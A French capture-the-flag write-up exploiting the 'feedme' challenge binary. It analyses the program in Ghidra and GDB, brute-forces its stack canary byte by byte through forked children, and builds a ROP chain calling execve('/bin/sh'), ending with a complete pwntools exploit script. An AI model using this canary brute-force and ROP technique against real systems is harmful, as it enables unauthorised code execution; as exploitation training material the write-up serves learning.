Aujourd'hui on s'attaque à un challenge intéressant. Il mêle ROPchain et bypass de stack canary.

Commençons par les vérifications de base:

pwn checksec feedme

La sécurité NX est activée, on ne va donc pas pouvoir exécuter un shellcode sur la pile donc on va utiliser une ROPchain.

file feedme 

Le fichier est lié statiquement donc il n' y aura pas mal de gadgets disponibles

De cette première exécution on peut supposer qu'il y'a surement un stack canary qui permet de détecter le buffer overflow. De plus le programme redemande une entrée utilisateur (et y'a aussi écrit "Child exit"), ce qui indique que le buffer overflow a eu lieu dans un processus fils et que donc il y a un fork dans le programme ou quelque chose d'équivalent.


C'est confirmé il y'a bien un fork

Quand on analyse le programme avec Ghidra on ne trouve pas de main. On va donc chercher la fonction qui affiche les messages tels que "FEED ME".
Avec la recherche d'une string "FEED ME" et un cross référence on tombe sur la fonction à: 0x08049036

La fonction est assez énigmatique, on va avoir besoin de l'analyse dynamique pour clarifier son fonctionnement.

Concentrons nous sur la fonction FUN_0804fc6.

b *0x0804904e
Breakpoint 1 at 0x804904e

b *0x08049053
Breakpoint 2 at 0x8049053
On setup un BreakPoint avant et après l'appel à la fonction

Parenthèse #1: le fork est confirmé

Si on lance le programme directement on se rend compte que l'on atteindra jamais les breakpoints car ils sont dans le processus fils et que GDB ne suit pas par défaut le processus fils.

Apriori le code intéressant ce situe dans le child. 

On va expliquer à GDB qu'il faut suivre le processus fils plutôt que le processus parent.

set follow-fork-mode child	
On va indiquer à GDB de suivre le child lors du fork

Fin de la parenthèse #1


A priori la fonction ne sert qu'à l'affichage
Donc on va l'appeler "puts"

On sait aussi qu'il y a un canary. En regardant le contenu de notre fonction on peut en déduire que c'est la seule valeur testée à la fin du programme (après avoir récupéré notre input).

Sur le même principe que notre fonction "puts" et au vu de sa signature, la fonction FUN_0804f700 peut être assimilée à un "printf".

Ce qui nous permet de décrire le programme de la façon suivante:

On y voit déjà plus clair

Pour compléter l'analyse on va étudier le comportement de FUN_08048e42(analyse dynamique).

#Mise en place des bp avant et après l'appel à la fonction mystère 
b *0x08049053
b * 0x08049058

run 
# Atteindre le premier bp et continuer
continue

# Le programme attend une entrée utilisateur
ABCD
# Atteindre le second bp

# Comme c'est du 32 bits le retour de la fonction est stocké dans EAX
i r

eax            0x41                0x41

Donc la fonction renvoie la première lettre sous son format ASCII (A = 0x41, B=0x42, etc...)

Ce qui permet de conclure que le programme utilise la première lettre comme valeur de taille pour le remplissage de son buffer. C'est étonnant, mais pourquoi pas après tout.

On peut maintenant déduire le fonctionnement de FUN_08048f6e toujours grâce à l'analyse dynamique ;)

b * 0x0x8049089

r 
# Mon entrée utilisateur
ABCDEFGHIJKLMNOPQRSTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ni

# info registers
i r
eax            0x80ebf40           0x80ebf40

x/s 0x80ebf40
0x80ebf40:	"42434445464748494a4b4c4d4e4f5051..."

On retrouve bien les 0x10 (16d) premières valeurs de notre input ainsi que les 3 points de suspension terminaux.

On va donc nommer cette variable "inputFromBuffer".

On peut maintenant déduire la dernière pièce du puzzle. Que fait la fonction FUN_08048E7E? C'est tout bêtement un "scanf" qui va utiliser la première valeur de notre input comme limiteur de taille. C'est là que réside tout le problème, notre buffer ne fait que 32 caractères de long.

Pour s'en convaincre, on peut donner à notre programme une input plus petite que 32 octets. Si par exemple l'input commence par un espace alors la valeur de limite du "scanf" sera de 20 caractères (cf l'ASCII table).

Et là le programme ne crash plus

Maintenant qu'on comprend comment le programme fonctionne et qu'on sait où est la faille on peut passer à la construction de la ROPchain.

Première étape: trouver l'offset entre notre input et le stack canary.

On sait que le stack canary en 32 bits fait 4 octets de long (diablement logique, je sais) et surtout qu'il finit forcément par un null byte.

Voila notre input
b *0x8049069
b *0x0804906e
On setup les breakpoints qui vont bien

Voilà le pointeur sur le buffer. En cherchant un peu on trouve la valeur du stack canary.

NB: les adresses peuvent être différente chez vous.

Maintenant calculons les offsets.

# Distance Saved EIP - Input
0xffffd0ec - 0xffffd0bc 
# Distance StackCanary -  Input

0xffffd0dc - 0xffffd0bc

Maintenant pour savoir si l'on peut bruteforcer le stack canary il faut que l'on comprenne comment est généré le fork. Pour ça on va remonter la pile d'appel (la backtrace en termes GDBien).

Et on va fouiller toutes ces fonctions jusqu'à retrouver la fonction qui gère le fork.

La voici, on peut savoir que c'est elle grâce au messages qu'elle affiche.

On a pas vraiment besoin de plus. l'information essentiel c'est que le fork est répété 800 fois.

Comme c'est un fork la mémoire du process parent est copié dans la mémoire du fils et donc le stack canary sera le même entre le processus parent et le processus fils. Ce qui veut dire que si l'on trouve le bon stack canary dans les 800 essais possibles alors on peut le bypass.

On sait qu'un stack canary en 32 bits fait 4 octets de long et termine par un null byte. Ce qui veut dire que l'on doit deviner une valeur de 3 octets de longs.

On va deviner le stack canary de manière itérative. Puisqu'on peut écraser le stack canary avec une valeur que l'on connait on va d'abord écraser le premier octet du stack canary, à partir de là, si le programme crash alors notre valeur n'est pas la même que celle du canary, sinon, c'est que la valeur du premier octet du canary est la même que celle qui vient de l'écraser, on a donc trouver le premier octet du canary. On procède comme ça jusqu'à trouver les valeurs des 3 octets du canary. Ce qui fait un maximum de 256 + 256 + 256 possibilités soit 768, donc on peut deviner la valeur du stack canary avant d'atteindre la limite des 800 forks.

C'est un peu analogue à l'exploitation du SQLI blind.

NB: Ce bruteforce est possible car la fonction qui copie la valeur dans le buffer ne tient pas compte des null bytes.Après cela, nous aurons le canari et rien ne pourra nous empêcher d'exécuter du code. La question se pose alors de savoir ce qu'il faut exécuter. NX est activé, donc nous ne pouvons pas passer par un shellcode que nous plaçons sur la pile.

Cependant, la sécurité PIE (randomisation de l'adresse du code) n'est pas activé. On peut donc construire une ROPchain. Pour cette ROPchain, je vais faire un appel système à /bin/sh, ce qui nous permettra d'obtenir un shell.

Le code pour trouver le canary

Voilà le code pour trouver le canary

#!/usr/bin/env python3
# -*-coding: utf-8 -*-

from pwn import *

context.log_level = 'info'
# context.log_level = 'debug'

p = process("./feedme")
e= ELF('./feedme')

def FEED_ME(food):
    p.sendafter("FEED ME!",chr(len(food)))
    p.send(food)
    
# On sait que le canary termine par un null byte
canary = "\x00"
for i in range(0,3):
	
    # Un octet contient 256 valeurs donc de 0 à 255
    for c in range(0,255):
    	
        # Pour garder un oeil sur l'avancement
        if (c % 100) == 0:
            log.info("testing bytes: " + str(i) + " with: " + str(c) + "\n")
        
        # Test d'une valeur de canary
        FEED_ME("A"*0x20+canary+chr(c))
        
        if not "*** stack smashing detected ***" in str(p.recvuntil("Child exit.")):
            canary+=chr(c)
            break
log.info("canary    : 0x%x " % u32(canary))

Le code pour exécuter un shell

Pour exécuter un shellcode il faut remplir les registres avec les valeurs suivantes:

EAX = 11 (ou 0x0B en hexa) – le numéro d'appel système
EBX = Address en mémoire de "/bin/sh"
ECX = Null (pointeur sur argv)
EDX = Null (pointeur sur envp)

int 0x80	# Interruption système

On va tester ce code afin de vérifier que l'on peut bien passer des valeurs nulles à EXC et EDX. On ne sait jamais ça pourrait être une raison pour laquelle notre shellcode foire.

.section .data
file_to_run:
.asciz	"/bin/sh"

.section .text
.global main

main:
	movl 	$11, %eax                      # sys_execve
	movl 	$file_to_run, %ebx             # file to execute       
	movl 	$0, %ecx                       # Null value will work too
	movl	$0, %edx                       # Null will works too
	int  	$0x80

NB: Il y a aussi des gadgets du style XOR edx, edx. Ce qui peut être pratique si notre input était traitée par une fonction qui s'arrête au premier null byte.

On le compile en  32 bits et sans protection.

gcc -m32 -fno-stack-protector -z execstack -no-pie -nostdlib -o syscallExecve syscallExecve.s
Donc notre shellcode est opérationel

Maintenant on va essayer de trouver un espace libre dans la section .bss.

Pour le .bss on peut le trouver de plusieurs façons:

  • via objdump :
objdump -h feedme

[Truncated output]

22 .data         00000f20  080ea060  080ea060  000a1060  2**5
                  CONTENTS, ALLOC, LOAD, DATA
23 .bss          0000180c  080eaf80  080eaf80  000a1f80  2**5
                  ALLOC
24 __libc_freeres_ptrs 00000018  080ec78c  080ec78c  000a1f80  2**2
                  ALLOC
  • via gef (meilleur car affiche ce que contient la section) :

Ce qui compte c'est que ca ne soit pas utiliser par le programme. on va donc choisir un offset arbitrairement, en l'occurrence on cherche 2 adresses mémoires consécutive qui ne soit pas remplie. J'ai choisis l'offset 2472.

Puisqu'on sait où écrire en mémoire, il faut trouver un gadget qui permette d'y écrire. Pour remplir le bss avec ce qui nous intéresse on va chercher les instructions de la forme mov dword ptr [eax] *; ret avec la regexp suivante:

ROPgadget.py --binary ./feedme | grep -E "^0[xX][0-9a-fA-F]+[ : ]+mov dword ptr \[eax\].*; ret"

On remarque que l'avant dernière ligne correspondrait bien à ce qu'on cherche. Cette instruction va charger le contenu de EDX dans l'adresse pointée par EAX.

On en profite pour chercher les autres gadgets dont on aura besoin:

  • De quoi charger EAX
grep -E "^0[xX][0-9a-fA-F]+[ : ]+pop eax ; ret"
  • De quoi charger EBX
  • De quoi charger ECX

NB: on a pas de gadget unique pour charger EBX ou ECX indépendamment alors on va chercher un gadget qui fasse les 2 en même temps.

  • De quoi charger EDX

A partir de là on va devoir convertir notre string /bin/sh en 2 morceaux de 4 octets chacun car on est sur du 32 bits.

 # Generate little endian hex representation of "/bin"
 u = make_unpacker(32, endian='little', sign='unsigned')
 hex(u('/bin'))
 

Maintenant on peut construire notre ROPchain

def FEED_ME(food):
    p.sendafter("FEED ME!",chr(len(food)))
    p.send(food)


e= ELF('./feedme')
bss = int(hex(e.bss()), 16)
bss = bss + 2472


u = make_unpacker(32, endian='little', sign='unsigned')

# Charger BSS avec "/bin" 
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(bss)           # bss address
payload += p32(0x0806f34a)    # pop edx
payload += p32(0x6e69622f)	  # Hex of "/bin" en little endian)
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Charger BSS+0x4 avec "/sh/" et un null byte
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(bss+0x04)      # bss address + 0x4
payload += p32(0x0806f34a)    # pop edx
payload += p32(int(hex(u('/sh\x00')),16))  Hex of "/sh\x00" en little endian)
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Maintenant que l'on a charger le BSS on 
# peut charger les autres registres avec les bonnes valeurs

# Charger eax avec 11
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0xb)           # 11

# Charger ecx avec zero 
# Comme il n'y a pas de gadget de la forme xor ecx, ecx on va se contenter de mettre 0 dans ecx via un pop
# Comme il n'y a pas de gadget de la forme pop ecx on va se contenter d'un gadget similaire pop ecx , pop ebx : ret 
# Ce qui tombe bien puisqu'on utilise ebx pour contenir un pointeur sur le fichier a éxecuter (celui qu'on a chargé dans .bss)

payload += p32(0x0806f371)    # pop ecx ; pop ebx ; ret
payload += p32(0x0)           # 0x0
payload += p32(bss)           # bss address

# Charger edx avec zero
payload += p32(0x0806f34a)    # pop edx ; ret
payload += p32(0x0)

# Faire un syscall
payload += p32(0x8049761)     # syscall

# On envoi notre payload
FEED_ME(payload)

# On passe en mode interactif
p.interactive()

Le code complet de l'exploit

Il ne reste plus qu'a assembler le code pour trouver le canary et le code qui construit la ROPchain.

#!/usr/bin/env python3
# -*- coding:utf8 -*-

from pwn import *

context.log_level = 'info'
# context.log_level = 'debug'

p = process("./feedme")
e= ELF('./feedme')

def FEED_ME(food):
    p.sendafter("FEED ME!",chr(len(food)))
    p.send(food)

# On sait que le canary termine par un null byte
canary = "\x00"
for i in range(0,3):

    # Un octet contient 256 valeurs donc de 0 à 255
    for c in range(0,255):

        # Pour garder un oeil sur l'avancement
        if (c % 100) == 0:
            log.info("testing bytes: " + str(i) + " with: " + str(c) + "\n")

        # Test d'une valeur de canary
        FEED_ME("A"*0x20+canary+chr(c))

        if not "*** stack smashing detected ***" in str(p.recvuntil("Child exit.")):
            canary+=chr(c)
            break

log.info("canary    : 0x%x " % u32(canary))
canary = hex(u32(canary))
bss = int(hex(e.bss()), 16)
bss = bss + 2472
log.info("BSS: " + str(bss))

payload =b"0"*0x20 + p32(int(canary, 16)) # PADDING pour atteindre le stack canary
payload += b"1"*0xc                       # PADDING pour atteindre l'addresse 
                                          # de retour - len(canary)

u = make_unpacker(32, endian='little', sign='unsigned')

# Charger BSS avec "/bin" 
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(bss)           # bss address
payload += p32(0x0806f34a)    # pop edx
payload += p32(int(hex(u('/bin')),16))
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Charger BSS+0x4 avec "/sh/" et un null byte
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(bss+0x04)      # bss address + 0x4
payload += p32(0x0806f34a)    # pop edx
payload += p32(int(hex(u('/sh\x00')),16))
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Maintenant que l'on a charger le BSS on 
# peut charger les autres registres avec les bonnes valeurs

# Charger eax avec 11
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0xb)           # 11

# Charger ecx avec zero 
# Comme il n'y a pas de gadget de la forme xor ecx, ecx on va se contenter de mettre 0 dans ecx via un pop
# Comme il n'y a pas de gadget de la forme pop ecx on va se contenter d'un gadget similaire pop ecx , pop ebx : ret 
# Ce qui tombe bien puisqu'on utilise ebx pour contenir un pointeur sur le fichier a éxecuter (celui qu'on a chargé dans .bss

payload += p32(0x0806f371)    # pop ecx ; pop ebx ; ret
payload += p32(0x0)           # 0x0
payload += p32(bss)           # bss address

# Charger edx avec zero
payload += p32(0x0806f34a)    # pop edx ; ret
payload += p32(0x0)

# Faire un syscall
payload += p32(0x8049761)     # syscall

# On envoi notre payload
FEED_ME(payload)

# On passe en mode interactif
p.interactive()

Si vous avez tout bien suivi normalement on obtient un shell.

NB: (Ligne 41) La distance entre le début du canary et l'adresse de retour est calculée comme suit.

Car on sait que le canary commence à l'offset 0X20 et que l'adresse de retour est à l'offset 0X30donc 0x30 - 0x20 = 0x10.

Ressources

# Autre exemple d'exploitation with pwntool en python3
https://xerxes-break.tistory.com/332?category=679890 

# Regex tool
https://regex101.com/

# Syscall x86 reference:
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit


# Compile ASM 32 bits on 64 bits system
https://stackoverflow.com/questions/18429901/compiling-32-bit-assembly-on-64bit-system-ubuntu

https://stackoverflow.com/questions/21679131/error-invalid-instruction-suffix-for-push

https://stackoverflow.com/questions/9342410/sys-execve-system-call-from-assembly

# Remove protection with gcc compil
https://stackoverflow.com/questions/2340259/how-to-turn-off-gcc-compiler-optimization-to-enable-buffer-overflow